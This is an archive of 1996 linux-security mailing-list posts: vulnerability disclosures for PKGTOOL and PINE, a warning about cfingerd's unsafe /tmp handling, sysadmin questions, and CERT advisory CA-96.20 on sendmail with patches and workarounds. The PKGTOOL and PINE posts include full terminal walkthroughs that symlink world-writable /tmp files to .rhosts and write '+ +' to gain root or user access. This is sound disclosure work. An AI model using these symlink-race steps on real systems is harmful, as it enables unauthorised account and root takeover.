Mon Sep 16 12:33:53 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id MAA08667; Mon, 16 Sep 1996 12:33:53 -0400 Resent-Date: Mon, 16 Sep 1996 12:29:58 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: X-cc: New Hack City Projects , "(d)(M)(v)" , Raven , Bill Arcand From: "Sean B. Hamor" To: Multiple recipients of list BUGTRAQ Subject: [linux-security] [BUG] Vulnerability in PKGTOOL Date: Mon, 26 Aug 1996 21:22:49 -0400 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list [Mod: Forwarded from Bugtraq. --Jeff.] -----BEGIN PGP SIGNED MESSAGE----- Monday, August 26, 1996 The Litterbox Sean B. Hamor PKGTOOL Note: I'm not sure whether or not information this has been previously released. I found this earlier this evening while poking around, and apologize if I've just found an old bug. I verified the existence of this bug in PKGTOOL for Linux Slackware 3.0. My assumption would be that most other Linux distributions are effected as well. Synopsis: A problem exists in the way PKGTOOL handles the /tmp/PKGTOOL.REMOVED logfile. This logfile is created mode 666, which allows any user to write to it. Although this file is usually created the first time PKGTOOL is run and can't be removed by normal users, a problem develops if root or the owner of the logfile deletes it for some reason or if PKGTOOL has never been run before. Exploit: If /tmp/PKGTOOL.REMOVED gets deleted or hasn't been created yet, any user can now create a symbolic link from /tmp/PKGTOOL.REMOVED to ~root/.rhosts (for a generic example). The next time PKGTOOL is run, which will more than likely be run by root, ~root/.rhosts will be created as a 666 file with the logs from PKGTOOL as its contents. One may now simply do an echo "+ +" > /tmp/PKGTOOL.REMOVED, then rm /tmp/PKGTOOL.REMOVED. For this example, root is the victim while hamors is the attacker: hamors (2 20:57) litterbox:/tmp> ls -al | grep PKG - -rw-rw-rw- 1 root root 16584 Aug 26 18:07 PKGTOOL.REMOVED.backup hamors (3 21:00) litterbox:/tmp> ln -s ~root/.rhosts PKGTOOL.REMOVED hamors (4 20:58) litterbox:/tmp> cat PKGTOOL.REMOVED cat: PKGTOOL.REMOVED: No such file or directory God (17 20:59) litterbox:~# pkgtool root now uses PKGTOOL to delete a package hamors (5 DING!) litterbox:/tmp> head PKGTOOL.REMOVED Removing package tcl: Removing files: ... hamors (6 21:00) litterbox:/tmp> echo "+ +" > PKGTOOL.REMOVED hamors (7 21:00) litterbox:/tmp> cat ~root/.rhosts + + Verification: This vulnerability has been tested on Linux Slackware 3.0 with the stock installed PKGTOOL. EOF Finger [email protected] /\_/\ mailto:[email protected] for PGP public key block. ( o.o ) http://www.ishiboo.com/~hamors/ alt.litterbox, The Home of TOCA > ^ < http://www.litterbox.org/~hamors/ Hi! I'm a .signature virus! Add me to your .signature and join in the fun! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMiJN7zU6HlxZIJ+FAQE7NAf9E5P4vobbqztG9U/dlV85EveNOm0y5g8y YP+2IAgOp4kV1CPrNYgVPNLu06xwycrI/fYyF5EZNOvL/UEYYp+OvpRXk23Z7du9 6nQ7rzF7yPoo+mL5nauXTNQArRvYTHktXQejgApKQNr7XdzwRGL64Q/Y0NH+C9P+ AtxehPQk+7dXWMOX2jeFwkX11DQ9urU/SEWvoJEuv2qV4/aaIHBLrEGs4xkxHPzk xtPKJGb05qIoZ6kuibLnfE6rElIYbaDbYmXhX7hnzymPa8gPJv/J0UHuXBg0Qj2o D8+FeJC6ZMJL9V6/ERw4BfcaYwO5TGuVm5+Ui/9g1OZ9xrXppxNt9Q== =Ujhw -----END PGP SIGNATURE----- From [email protected] Mon Sep 16 12:34:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id MAA08683; Mon, 16 Sep 1996 12:34:12 -0400 Resent-Date: Mon, 16 Sep 1996 12:31:19 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: X-cc: New Hack City Projects , Raven , Bill Arcand , "(d)(M)(v)" From: "Sean B. Hamor" To: Multiple recipients of list BUGTRAQ Subject: [linux-security] [BUG] Vulnerability in PINE Date: Mon, 26 Aug 1996 19:35:05 -0400 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list [Mod: Forwarded from Bugtraq. --Jeff.] -----BEGIN PGP SIGNED MESSAGE----- Monday, August 26, 1996 The Litterbox Sean B. Hamor Note: I'm not sure whether or not information this has been previously released. I found this earlier this evening while poking around, and apologize if I've just found an old bug. I verified the existence of this bug in PINE 3.91, however it had been fixed in 3.95. I don't know if 3.92, 3.93, or 3.94 are effected. Even though this bug has been fixed, I thought I'd still release this because many Linux installations still use PINE 3.91, and most machines I have accounts on still use PINE 3.91. Synopsis: A problem exists in PINE where the name used for the lockfile in /tmp/ is easily guessable. From various testing on a few machines, the name of the lockfile is static for each user who launches PINE. Note that the lockfile is only created when there is new mail in the user's INBOX. This wouldn't normally be a problem, however this lockfile is created mode 666 in /tmp/. The static lockfile name can be easily attained by doing an ls in /tmp/ when it has been determined that the user is running PINE and has new email. Exploit: By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting the respective lockfile. Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts (for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile. For this example, hamors is the victim while catluvr is the attacker: hamors (21 19:04) litterbox:~> pine catluvr (6 19:06) litterbox:~> ps -aux | grep pine catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors - -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4 catluvr (8 19:07) litterbox:~> ps -aux | grep pine catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4 hamors (23 19:09) litterbox:~> pine catluvr (11 19:10) litterbox:~> ps -aux | grep pine catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4 catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4 + + catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4 catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors Verification: This vulnerability has been tested on the following platforms with the following versions of PINE: Linux Slackware 3.0 (1.2.13): PINE 3.91 FreeBSD 2.1.0-RELEASE: PINE 3.91 Problem has been fixed in PINE 3.95 under Linux Slackware 3.0 (1.2.13): Log entry: Aug 26 19:10:58 litterbox syslog: SECURITY PROBLEM: lock file /tmp/.302.f5a4 is a symbolic link User warning: [SECURITY ALERT: symbolic link on lock name!] [Can't open mailbox lock, access is readonly] EOF Finger [email protected] /\_/\ mailto:[email protected] for PGP public key block. ( o.o ) http://www.ishiboo.com/~hamors/ alt.litterbox, The Home of TOCA > ^ < http://www.litterbox.org/~hamors/ Hi! I'm a .signature virus! Add me to your .signature and join in the fun! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMiI0rjU6HlxZIJ+FAQES9Qf/UYcqT/L9iEVwre6MS0Uokaw7npEqM8iZ zFZF5KLBGFOSCE36V+2VG2/7rhR24Q4J9A51VyaCC3kzQyS++wr5IqaBl9AGxpIG zSk2APmUnyi5NmUYoRnRIwFP8ptg15Bz3syxqsLegPYJdZW1r7DeA4rG47xi0lgG abNNfDta1PQYbxRh+C6yQ9ey6p31/o59CDackH/ene9brqqQXZBrt/fnn4SnNHiP EQyjcwkyTkFHkCQmfCmT1zJzlVfF6sj36der7boIsu9EAFsqpSwzI1/zZCvFgzoZ kpH4/srgo3tIFOcTFSoescJQE+wynwMK45Ab0VYjpPAvOBwqld6hyg== =hejk -----END PGP SIGNATURE----- linux-security/linux-security.960917100664 1767 1767 2625 6217445350 16645 0ustar majdommajdomFrom [email protected] Tue Sep 17 02:53:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id CAA14947; Tue, 17 Sep 1996 02:53:26 -0400 Message-ID: <[email protected]> Date: Tue, 17 Sep 1996 04:17:01 +0100 From: CP Organization: party confused :-) X-Mailer: Mozilla 3.0b6Gold (X11; I; Linux 2.0.7 i586) MIME-Version: 1.0 To: Linux-Security Subject: [linux-security] pgpsendmail Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Salve, Does anyone know how to make netscape pgpsendmail aware? Just installed the 1.4 and evrithing is fine not to say a cute package. But when sending with netscape pgpsendmail just doesn't gets it there is no log no nothing and the msg is just send. Thanks in Advance -- Pluto ********************************************************************** P mailto:[email protected] P Free information! # G-> mailto:[email protected] <-G Freedom through knowledge. # P http://mindstar.inx.de P Wisdom for all!! =:-) # ********************************************************************** Netscapes lately anounced sunglasses: This beach is best viewed with netscape! But M$ lately anounced they'd bought the beach. linux-security/linux-security.960918100664 1767 1767 20056 6220037316 16655 0ustar majdommajdomFrom [email protected] Wed Sep 18 01:55:43 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id BAA23698; Wed, 18 Sep 1996 01:55:43 -0400 Date: Tue, 17 Sep 1996 17:12:25 -0300 From: Administrador da Rede Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] Finger Doubt Sender: [email protected] Precedence: list Hello There, Somedays ago, a certain person sent to our ISP a finger list;like a warning (See? I-can-see-your-finger-and-theres-nothing-you-can-do type stuff) I use the newest version of cfinger, setted to not allow general finger, just specific ones. Does anyone knows how this person did that ? I hope I can find out, otherwise, bye bye finger service. Marcelo From [email protected] Wed Sep 18 01:55:48 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id BAA23711; Wed, 18 Sep 1996 01:55:48 -0400 Message-ID: <[email protected]> Date: Sun, 17 Sep 1995 13:02:15 -0500 From: James Hamilton Organization: Central Missouri State University X-Mailer: Mozilla 3.0b7Gold (X11; I; Linux 1.2.13 i486) MIME-Version: 1.0 To: linux security Subject: [linux-security] mount Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list We have a networked linux computer lab where we need to support users with floppies of different file system types. /etc/fstab looks like... ...some nfs stuff... /dev/fd0 /drivea msdos user,conv=auto /dev/fda /floppy ext2 user # where fda is exactly like fd0 (same major and minor #'s) when a user mounts a dos floppy on /drivea the directory perms & ownerships get changed to: drwx------ ... jch users .... /drivea which allows that user to read/write to the disk this doesn't happen when a user mounts an ext2fs... my question is... would it be insane to change the perms and ownership on the /floppy directory (where ext2's get mounted) to something like... drwxrwx--- ... root users ... /floppy (to allow the user to write to his/her own floppy without making it necessary that they be root...) and/or is there a better way to do this... thanks, jch note: we are using the debian fixed version of mount (that fixes the recent mount hole) on a slackware distribution. -- "Life's a lot more fun when you're not responsible for your actions." -- Calvin "Computers are useless. They can only give you answers." -- Pablo Picasso -----NOTHING MEANINGFUL FOLLOWS THIS LINE----- From [email protected] Wed Sep 18 03:07:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id DAA23885; Wed, 18 Sep 1996 03:07:11 -0400 Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] ADMIN: LSF Updates, new WWW and NEW ftp sites Date: Tue, 17 Sep 1996 23:08:45 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list Hi All, A couple of people pointed out that LSF Update#13 contained several "broken URLs". They are fixed in version 1.2 of the update which is available at ftp://bach.cis.temple.edu/pub/Linux/Security/FAQ/updates. Work is being done on moving the primary location for Linux Security WWW to a different place - there will now be a dedicated system acting as a www/ftp server, plus there will be a person who will really maintain files/mirrors on the ftp site, which should significantly improve connectivity. Alex [REW: fixed a few typos.] From [email protected] Wed Sep 18 12:46:33 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id MAA27159; Wed, 18 Sep 1996 12:46:33 -0400 Date: Wed, 18 Sep 1996 18:34:43 +0200 (MET DST) From: Janos Farkas To: Administrador da Rede cc: [email protected] Subject: Re: [linux-security] Finger Doubt In-Reply-To: <[email protected]> Message-ID: X-Mood: in love MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Howdy people! On Tue, 17 Sep 1996, Administrador da Rede wrote: > I use the newest version of cfinger, setted to not allow general finger, just > specific ones. Does anyone knows how this person did that ? I hope I can > find out, otherwise, bye bye finger service. Badly. I have sent the author a letter, but never got any reply back (it's 3 months later now!), so I just take the opportunity to warn the public against its use. Excerpts from the source (1.2.3, older versions have been a bit more directly broken, now it has root privs only at the moments it shouldn't have.) "This daemon must be run as root!" [And unfortunately, does..] ... unlink ("/tmp/fslist"); ... sprintf(st, "%s | tail +2 >> /tmp/fslist", prog_config.finger_program); ... system(st); A similarly terrible one some lines later: system("cat /tmp/fslist | sort > /tmp/fslist.sort"); As it stands, it can allow any local user to destroy any file on the system, including partition tables on disks. Please someone correct me if I am wrong, I tried this with cfingerd-1.2.2 and it allowed me to do bad things. I was a bit disappointed by the lack of any reply from the author, so I think I am now justified to tell that if anyone installed cfingerd (about 1.1 or later) on his system, disable it IMMEDIATELY, until at least the author clarifies this bug in a new version. The current version is BAD. However if you just need a finger daemon, you may take a look at xfingerd, at ftp://ftp.banki.hu:/pub/xfingerd/xfingerd-0.1.tar.gz which is the one I wrote when I got desperate about cfingerd. (If you take a look at its date stamp, you can see that cfingerd is long broken..) I too can't garantee that it's good for you, but it at least doesn't require to be run as root, which is why I started being against cfingerd. I hope this note finds everyone concerned. Janos From [email protected] Wed Sep 18 14:26:19 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id OAA27690; Wed, 18 Sep 1996 14:26:19 -0400 Date: Wed, 18 Sep 1996 18:12:59 +0300 (EET DST) From: "Andrei D. Caraman" To: James Hamilton cc: linux security Subject: Re: [linux-security] mount In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 17 Sep 1995, James Hamilton wrote: > when a user mounts a dos floppy on /drivea the directory perms & > ownerships get changed to: > drwx------ ... jch users .... /drivea > which allows that user to read/write to the disk > this doesn't happen when a user mounts an ext2fs... > my question is... > would it be insane to change the perms and ownership on the /floppy > directory (where ext2's get mounted) > to something like... > drwxrwx--- ... root users ... /floppy > (to allow the user to write to his/her own floppy without making it > necessary that they be root...) > and/or is there a better way to do this... afaik, there is a better way: use fdmount/fdumount, which comes in the slackware 3.1 distribution. i don't know if it has the mount bug, but i do know it changes the owner of the mount-point [REW: trimmed quote on authors request.] hope this helps, -- Andrei D. Caraman ROEDUNET ---- Bucharest Webmaster, hostmaster, ftpkeeper, sysadmin & many more [email protected] http://www.pub.ro/~xax/ - Geek code & PGP key available by WWW - linux-security/linux-security.960919100664 1767 1767 72667 6220316021 16666 0ustar majdommajdomFrom [email protected] Thu Sep 19 09:34:24 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id JAA00460; Thu, 19 Sep 1996 09:34:24 -0400 Resent-Date: Thu, 19 Sep 1996 09:17:11 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected], [email protected] Message-Id: <[email protected]> Organization: CERT(sm) Coordination Center - +1 412-268-7090 From: CERT Advisory To: [email protected] Subject: [linux-security] CERT Advisory CA-96.20 - Sendmail Vulnerabilities Date: Wed, 18 Sep 1996 10:34:33 -0400 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.20 Original issue date: September 18, 1996 Last revised: -- Topic: Sendmail Vulnerabilities - ----------------------------------------------------------------------------- *** This advisory supersedes CA-95:05 *** The CERT Coordination Center has received reports of two security problems in sendmail that affect all versions up to and including 8.7.5. By exploiting the first of these vulnerabilities, users who have local accounts can gain access to the default user, which is often daemon. By exploiting the second vulnerability, any local user can gain root access. The CERT/CC team recommends installing vendor patches or upgrading to the current version of sendmail (8.7.6). Until you can do so, we urge you to apply the workaround provided in Sec. III.C. In all cases, be sure to take the extra precautions listed in Sec. III.D. For beta testers of sendmail 8.8: The vulnerabilities described in this advisory have been fixed in the beta version. We will update this advisory as we receive additional information. Please check advisory files regularly for updates that relate to your site. In addition, you can check ftp://info.cert.org/pub/latest_sw_versions/sendmail to identify the most current version of sendmail. - ----------------------------------------------------------------------------- I. Description There are two vulnerabilities in all versions of sendmail up to and including sendmail 8.7.5. The first vulnerability is a resource starvation problem and the second is a buffer overflow problem. Resource Starvation ------------------- When email is forwarded to a program using a .forward file or an :include: statement within a .forward or alias file, that program is executed as the owner of the .forward file or the file referenced by the :include: statement. Similarly, if email is forwarded to a file, that file is opened as the owner of the .forward file or the file referenced by the :include: statement. The file owner is called the "controlling user." If the message cannot be delivered immediately, the name of the controlling user is written into the queue file along with the other delivery information so that the appropriate permissions can be acquired when the mail queue is processed. Only the name of the controlling user is written in the queue file. This name is derived by calling the system routine getpwuid(3) on the user id of the file owner. If getpwuid fails, the sendmail default user (defined by the DefaultUser option in 8.7 and by the "u" and "g" options in older releases) is assumed. In some cases, the system can be forced into resource starvation, thus forcing getpwuid(3) to fail even though an entry exists in /etc/passwd corresponding to that uid. Since getpwuid has no way of portably returning an error meaning "resource failure" as distinct from "user id not found," sendmail has no way of distinguishing between these cases; it assumes that the uid is unknown and falls back to the default user. By starving sendmail of specific resources, sendmail will create files owned by the default user. Once created, these files can be used to access other files owned by the default user. In addition, these files owned by the default user can be used to leverage access to other privileged users on the system. Buffer Overflows ---------------- There are several buffer overflows present in sendmail version 8.7.5 and earlier. Some of the buffer overflows could result in local users gaining unauthorized root access. Significant work has been done on sendmail version 8.8 (now in beta test) to eliminate the problem, and the code changes originally planned for 8.8 have been backported to 8.7.6 to address these vulnerabilities. II. Impact Resource Starvation ------------------- Anyone with access to an account on the system can run programs or write files as the default user. The danger of compromising the default user depends primarily on the other files in your system owned by that user. For example, on many systems the line printer spool directory (e.g., /var/spool/lpd) is owned by daemon; because the line printer subsystem runs setuid root, it may be possible to gain additional privileges. However, some other systems have no files owned by user daemon on the default system, and the only files owned by group daemon are not writable by that group; hence, the danger is minimal. Buffer Overflows ---------------- Anyone with access to an account on the system can gain root access. III. Solution Install a patch from your vendor if one is available (Sec. A) or upgrade to the current version of sendmail (Sec. B). Until you can take one of those actions, we recommend applying the workaround described in Sec. C. This workaround addresses the resource starvation problem but not buffer overflows. In all cases, you should take the precautions listed in Sec. D. Note to beta testers of sendmail 8.8: The vulnerabilities described in this advisory have been fixed in the beta version of 8.8. A. Install a vendor patch. Below is a list of the vendors who have provided information about sendmail. Details are in Appendix A of this advisory; we will update the appendix as we receive more information. If your vendor's name is not on this list, please contact the vendor directly. Digital Equipment Corporation Hewlett-Packard Company IBM Corporation Linux Open Software Foundation The Santa Cruz Operation Silicon Graphics Inc. Sun Microsystems, Inc. B. Upgrade to the current version of sendmail. Install sendmail 8.7.6. This version is a "drop in" replacement for 8.7.x. There is no patch for 8.6.x. If you are using version 8.6 or earlier, you need to upgrade to the current version and rebuild your sendmail.cf files. Upgrading to version 8.7.6 addresses both vulnerabilities described in this advisory. Sendmail 8.7.6 is available from ftp://ftp.sendmail.org/ucb/src/sendmail/sendmail.8.7.6.tar.gz ftp://info.cert.org/pub/tools/sendmail/sendmail.8.7.6.tar.gz ftp://ftp.cert.dfn.de/pub/tools/net/sendmail/sendmail.8.7.6.tar.gz MD5 (sendmail.8.7.6.tar.gz) = 4a1f2179c53c9106bc8d7738f4d55667 Also in that directory are .Z and .sig files. The .Z file contains the same bits as the .gz file, but is compressed using UNIX compress instead of gzip. The .sig is Eric Allman's PGP signature for the uncompressed tar file. The key fingerprint is Type bits/keyID Date User ID pub 1024/BF7BA421 1995/02/23 Eric P. Allman Key fingerprint = C0 28 E6 7B 13 5B 29 02 6F 7E 43 3A 48 4F 45 29 Eric P. Allman Eric P. Allman Eric P. Allman Eric P. Allman We strongly recommend that when you change to a new version of sendmail you also change to the configuration files that are provided with that version. Significant work has been done to make this task easier. It is now possible to build a sendmail configuration file (sendmail.cf) using the configuration files provided with the sendmail release. Consult the cf/README file for a more complete explanation. Creating your configuration files using this method makes it easier to incorporate future changes to sendmail into your configuration files. Finally, for Sun users, a paper is available to help you convert your sendmail configuration files from the Sun version of sendmail to one that works with sendmail version 8.7.x. The paper is entitled "Converting Standard Sun Config Files to Sendmail Version 8" and was written by Rick McCarty of Texas Instruments Inc. It is included in the distribution and is located in contrib/converting.sun.configs. C. Apply a workaround. Resource Starvation ------------------- Eric Allman, the author of sendmail, has provided the following workaround to the resource starvation vulnerability. Using smrsh as "prog" mailer limits the programs that can be run as the default user. Smrsh does not limit the files that can be written, but less damage can be done by writing files directly. The damage can be almost entirely constrained by ensuring that the default user is an innocuous one. Sendmail defaults to 1:1 (daemon) only because that is reasonably portable. A special "mailnull" account that is used only for this purpose would be better. This user should own no files and should have neither a real home directory nor a real shell. A sample password entry might be: mailnull:*:32765:32765:Sendmail Default User:/no/such/dir:/dev/null A corresponding entry should be made in /etc/group: mailnull:*:32765: These assume that there are no other users or groups with id = 32765 on your system; if there are, pick some other unique value. After creating this user, change the line in /etc/sendmail.cf reading O DefaultUser=1:1 to read O DefaultUser=mailnull If you are running 8.6.*, you will have to change the lines reading Ou1 Og1 to read Ou32765 Og32765 Finally, if you are using the m4(1)-based sendmail configuration scheme provided with sendmail 8.7.*, you should add the following line to the m4 input file, usually named sendmail.mc: define(`confDEF_USER_ID', 32765:32765) The actual values should, of course, match those in the passwd file. Buffer Overflows ---------------- There is no workaround for the buffer overflow problem. To address this problem, you must apply your vendor's patches or upgrade to the current version of sendmail (version 8.7.6). D. Take additional precautions. Regardless of which solution you apply, you should take these extra precautions to protect your systems. * Use the sendmail restricted shell program (smrsh) With *all* versions of sendmail, use the sendmail restricted shell program (smrsh). You should do this whether you use vendor-supplied sendmail or install sendmail yourself. Using smrsh gives you improved administrative control over the programs sendmail executes on behalf of users. A number of sites have reported some confusion about the need to continue using the sendmail restricted shell program (smrsh) when they install a vendor patch or upgrade to a new version of sendmail. You should always use the smrsh program. smrsh is included in the sendmail distribution in the subdirectory smrsh. See the RELEASE_NOTES file for a description of how to integrate smrsh into your sendmail configuration file. smrsh is also distributed with some operating systems. * Use mail.local If you run /bin/mail based on BSD 4.3 UNIX, replace /bin/mail with mail.local, which is included in the sendmail distribution. It is also included with some other operating systems distributions, such as FreeBSD. Although the current version of mail.local is not a perfect solution, it is important to use it because it addresses vulnerabilities that are being exploited. For more details, see CERT advisory CA-95:02. Note that as of Solaris 2.5 and beyond, mail.local is included with the standard distribution. To use mail.local, replace all references to /bin/mail with /usr/lib/mail.local. If you are using the M4(1)-based configuration scheme provided with sendmail 8.X, add the following to your configuration file: define(`LOCAL_MAILER_PATH', /usr/lib/mail.local) * WARNING: Check for executable copies of old versions of mail programs If you leave executable copies of older versions of sendmail installed in /usr/lib (on some systems, it may be installed elsewhere), the vulnerabilities in those versions could be exploited if an intruder gains access to your system. This applies to sendmail.mx as well as other sendmail programs. Either delete these versions or change the protections on them to be non-executable. Similarly, if you replace /bin/mail with mail.local, remember to remove old copies of /bin/mail or make them non-executable. ........................................................................... Appendix A - Vendor Information Below is a list of the vendors who have provided information for this advisory. We will update this appendix as we receive additional information. If you do not see your vendor's name, please contact the vendor directly. Digital Equipment Corporation ============================= [About the resource starvation problem] Source: Software Security Response Team Copyright (c) Digital Equipment Corporation 1996. All rights reserved. 08.SEP.1996 At the time of writing this document, patches (binary kits) for Digital's UNIX related operating systems are being developed. Digital will provide notice of availability for remedial kits through AES services (DIA, DSNlink FLASH), placed in the public FTP patch service domain and also be available from your normal Digital Support channel. ftp://ftp.service.digital.com/public/{OS/{vn.n} | | | |--version |--osf or ultrix 9/96 - DIGITAL EQUIPMENT CORPORATION Hewlett-Packard Company ======================= [About the resource starvation problem] HP-UX is vulnerable, and a patch is in progress. The HP SupportLine Mail Service provides notification of security patches for HP-UX to its 'security_info' mailing list. For information on the service, send mail to [email protected] with 'help' in the body of the message (without quotes). To report new security defects in HP software, send mail to [email protected]. IBM Corporation ================ The following APARs are being developed and will be available shortly. See the appropriate release below to determine your action. AIX 3.2 ------- Apply the following fixes to your system: APAR - IX61303 IX61307 AIX 4.1 ------- Apply the following fixes to your system: APAR - IX61162 IX61306 To determine if you have this APAR on your system, run the following command: instfix -ik IX61162 IX61306 AIX 4.2 ------- Apply the following fixes to your system: APAR - IX61304 IX61305 To determine if you have this APAR on your system, run the following command: instfix -ik IX61304 IX61305 To Order -------- APARs may be ordered using Electronic Fix Distribution (via FixDist) or from the IBM Support Center. For more information on FixDist, http://service.software.ibm.com/aixsupport/ or send e-mail to [email protected] with a subject of "FixDist". IBM and AIX are registered trademarks of International Business Machines Corporation. Linux ===== [For the resource starvation problem:] Debian Linux: not vulnerable (uses smail) Red Hat and derivatives: ftp://ftp.redhat.com/pub/redhat-3.0.3/i386/updates/RPMS/sendmail* Open Software Foundation ======================== OSF's OSF/1 R1.3.2 is not vulnerable to these types of attacks described in the resource starvation sections of the advisory. OSF's OSF/1 R1.3.2 is vulnerable to the buffer overflow problems. We will address the problem in our next maintenance release. The Santa Cruz Operation ======================== Any SCO operating system running a version of sendmail provided by SCO is vulnerable to this problem. SCO is providing Support Level Supplement (SLS) oss443a for the following releases to address this issue: SCO Internet FastStart release 1.0.0 SCO OpenServer releases 5.0.0 and 5.0.2 This SLS provides a pre-release version of sendmail release 8.7.6 for these platforms. SCO hopes to have a final version of sendmail 8.7.6 available to address both issues mentioned in this advisory in the near future. Note that only SCO Internet FastStart uses sendmail as the default mail system. All other SCO operating systems use other mail systems such as the Multi-Channel Memorandum Distribution Facility (MMDF) or the "mailsurr" mail system as the default, and as such are not vulnerable to this problem unless otherwise configured to use sendmail. SCO intends to provide a similar patch for SCO UnixWare release 2.1.0 in the near future. When configured to use a version of sendmail provided by SCO, releases prior to the ones mentioned here are also vulnerable, but no plans have yet been made concerning patches for these earlier releases. You can download SLS oss443a as shown below. Anonymous ftp (World Wide Web URL) ------------- ftp://ftp.sco.COM/SSE/oss443a (SLS image) ftp://ftp.sco.COM/SSE/oss443a.ltr.sse (cover letter/install notes) Compuserve ---------- SLS oss443a is also available in the SCO Forum on Compuserve. SCO Online Support (SOS) BBS ---------------------------- SLS oss443a can also be downloaded interactively via X, Y, or Z MODEM or Kermit, using the SCO Online Support System (SOS). Follow the menu selections under "Toolchest" from the main SOS menu. The phone numbers available for interactive transfer from SOS are: 1-408-426-9495 (USA) +44 (0)1923 210 888 (United Kingdom) Checksums --------- sum -r ------ 13804 630 oss443a 35304 14 oss443a.ltr.sse MD5 --- MD5 (oss443a) = 549260a71ca76f4e98dd38bccb72748c MD5 (oss443a.ltr.sse) = 7475d83f0db64a1af69eb66cd392a9d3 Be sure to keep track of the README file at ftp://ftp.sco.COM/SSE/README for updates to this supplement. If you have further questions, contact your support provider. If you need to contact SCO, please send electronic mail to [email protected], or contact SCO as follows. USA/Canada: 6am-5pm Pacific Daylight Time (PDT) ----------- 1-800-347-4381 (voice) 1-408-427-5443 (fax) Pacific Rim, Asia, and Latin American customers: 6am-5pm Pacific ------------------------------------------------ Daylight Time (PDT) 1-408-425-4726 (voice) 1-408-427-5443 (fax) Europe, Middle East, Africa: 9am-5:30pm Greenwich Mean Time (GMT) ---------------------------- +44 (0)1923 816344 (voice) +44 (0)1923 817781 (fax) Silicon Graphics, Inc. ====================== We are analyzing the vulnerability, and will provide additional information as it becomes available. Sun Microsystems, Inc. ====================== Sun is working on a patch which will fix both problems, and we expect to have it out by the end of the month. Also, we will send out a Sun bulletin on this subject at about the same time. - ------------------------------------------------------------------------------ The CERT Coordination Center staff thanks Eric Allman, the author of sendmail, for his extensive assistance with this advisory, Wolfgang Ley of DFN-CERT for his support in the development of the advisory, and D. J. Bernstein of the University of Illinois at Chicago for reporting the resource starvation vulnerability. - ----------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts). CERT/CC Contact Information - ---------------------------- Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. You can get the CERT PGP key from ftp://info.cert.org/pub/CERT_PGP.key Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send your email address to 